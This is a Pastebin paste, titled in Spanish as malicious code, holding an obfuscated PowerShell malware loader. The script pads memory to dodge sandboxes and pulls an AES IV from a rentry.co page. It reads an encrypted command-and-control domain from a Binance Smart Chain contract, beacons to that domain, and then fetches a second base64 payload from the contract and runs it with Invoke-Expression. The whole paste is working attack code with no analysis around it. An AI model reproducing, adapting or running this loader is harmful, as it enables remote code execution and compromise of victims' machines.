Guest User

Código malicioso

a guest
Jun 8th, 2024
127
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.99 KB | None | 0 0
  1. $WvhiYWjQWF = (Get-Process -Id $PID | Select-Object Name,@{Name="rgba";Expression={($_.ws / 1024kb)}}).rgba
  2. if ($WvhiYWjQWF -lt 250) { $VMGEANJEep = "a" * 300MB }
  3. $UxuTbwUqRR = 0
  4. $HkktmgDTeq = 30000000
  5.  
  6. $u7d9Tg2 = "https://bsc-dataseed1.binance.org/"
  7.  
  8. function HxStr2BAr {
  9. param($hX)
  10. $bYt3s = New-Object Byte[] ($hX.Length / 2)
  11. for ($i = 0; $i -lt $bYt3s.Length; $i++) { $bYt3s[$i] = [Convert]::ToByte($hX.Substring($i * 2, 2), 16) }
  12. return $bYt3s
  13. }
  14.  
  15. $a1b2c3 = "https://rentry.co/t5266q3p/raw"
  16. $x9y8z7 = Invoke-WebRequest -Uri $a1b2c3 -UseBasicParsing
  17. $ivContent = $x9y8z7.Content.Trim()
  18.  
  19. function InvkCl {
  20. param($dT)
  21. $pLd = @{jsonrpc="2.0"; method="eth_call"; params=@(@{to="0xC12d0cA65b8bC87265b33C13Bab479e5D91cc08e"; data=$dT}, "latest"); id=44}
  22. return (Invoke-RestMethod -Uri $u7d9Tg2 -Method Post -Body ($pLd | ConvertTo-Json) -ContentType "application/json").result
  23. }
  24.  
  25. function CvRt2Str {
  26. param($r5N3w9Lm)
  27. if ($null -ne $r5N3w9Lm -and $r5N3w9Lm.StartsWith("0x")) { $r5N3w9Lm = $r5N3w9Lm.Substring(2) }
  28. $z8Y5p3Vm = [byte[]]::new($r5N3w9Lm.Length / 2)
  29. for ($i = 0; $i -lt $r5N3w9Lm.Length; $i += 2) { $z8Y5p3Vm[$i / 2] = [Convert]::ToByte($r5N3w9Lm.Substring($i, 2), 16) }
  30. return [System.Text.Encoding]::ASCII.GetString($z8Y5p3Vm)
  31. }
  32.  
  33. function DcyptStr {
  34. param (
  35. [Parameter(Mandatory=$true)]
  36. [string]$e6L8t3Fq,
  37. [Parameter(Mandatory=$true)]
  38. [string]$k4G7h9Pq,
  39. [Parameter(Mandatory=$true)]
  40. [string]$i3V9r6Pw
  41. )
  42.  
  43. $u6F3g7Qp = New-Object System.Text.UTF8Encoding
  44. $c8R5v9Lm = [Convert]::FromBase64String($e6L8t3Fq)
  45.  
  46. $a7N9r4Xz = New-Object System.Security.Cryptography.AesManaged
  47. $a7N9r4Xz.Mode = [System.Security.Cryptography.CipherMode]::CBC
  48. $a7N9r4Xz.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
  49. $a7N9r4Xz.KeySize = 128
  50. $a7N9r4Xz.BlockSize = 128
  51.  
  52. $k7W8r3Xz = $u6F3g7Qp.GetBytes($k4G7h9Pq)
  53. $a7N9r4Xz.Key = $k7W8r3Xz
  54.  
  55. $i6P2s7Nv = HxStr2BAr $i3V9r6Pw
  56. $a7N9r4Xz.IV = $i6P2s7Nv
  57.  
  58. $t3J7v9Rm = $a7N9r4Xz.CreateDecryptor()
  59. $p7U3v9Xz = $t3J7v9Rm.TransformFinalBlock($c8R5v9Lm, 0, $c8R5v9Lm.Length)
  60.  
  61. return $u6F3g7Qp.GetString($p7U3v9Xz)
  62. }
  63.  
  64. $r5L9t3Pq = InvkCl "0xc2fb26a6"
  65. if ($null -eq $r5L9t3Pq) { return }
  66.  
  67. $a5S9p7Mz = CvRt2Str $r5L9t3Pq
  68. $d9P2v4Nj = (-join (@($a5S9p7Mz -split "`0") | ForEach-Object { if ($_.Length -gt 1) { $_.Substring(1) } else { $_ } })).TrimStart()
  69. if ([string]::IsNullOrEmpty($d9P2v4Nj)) { return }
  70.  
  71. $k4F9m8Lp = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("SjVQRWI2WEpmbXlLVXF2Nw=="))
  72. $i3T9r6Pw = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($ivContent))
  73. $D6T2s9Np = DcyptStr -e6L8t3Fq $d9P2v4Nj -k4G7h9Pq $k4F9m8Lp -i3V9r6Pw $i3T9r6Pw
  74. if ([string]::IsNullOrEmpty($D6T2s9Np)) { return }
  75.  
  76. function F7P2w9Nx {
  77. $p2W8r3Xz = "https://rsmbscm.$D6T2s9Np/post.php"
  78. $h7V3p6Nm = @{'U'='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, как Gecko) Chrome/23.0.0.0 Safari/537.36'}
  79. $b8J2s7Np = @{source_id='SHELL1'} | ConvertTo-Json
  80. Invoke-RestMethod -Uri $p2W8r3Xz -Method Post -Body $b8J2s7Np -ContentType 'application/json' -Headers $h7V3p6Nm
  81. }
  82.  
  83. F7P2w9Nx
  84.  
  85. $r7V2p9Nx = InvkCl "0xebe9eb9f"
  86. if ($null -eq $r7V2p9Nx) { return }
  87.  
  88. $a8N5t3Pw = CvRt2Str $r7V2p9Nx
  89. $s3Q9v4Mz = (-join (@($a8N5t3Pw -split "`0") | ForEach-Object { if ($_.Length -gt 1) { $_.Substring(1) } else { $_ } })).Trim()
  90. if ($s3Q9v4Mz.Length -gt 1) { $s3Q9v4Mz = $s3Q9v4Mz.Substring(1) }
  91.  
  92. $c8W7r3Lp = $s3Q9v4Mz.Trim() -replace '[\s\p{C}]', ''
  93. $d2P5x9Nm = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($c8W7r3Lp))
  94. Invoke-Expression $d2P5x9Nm
Add Comment
Please, Sign In to add comment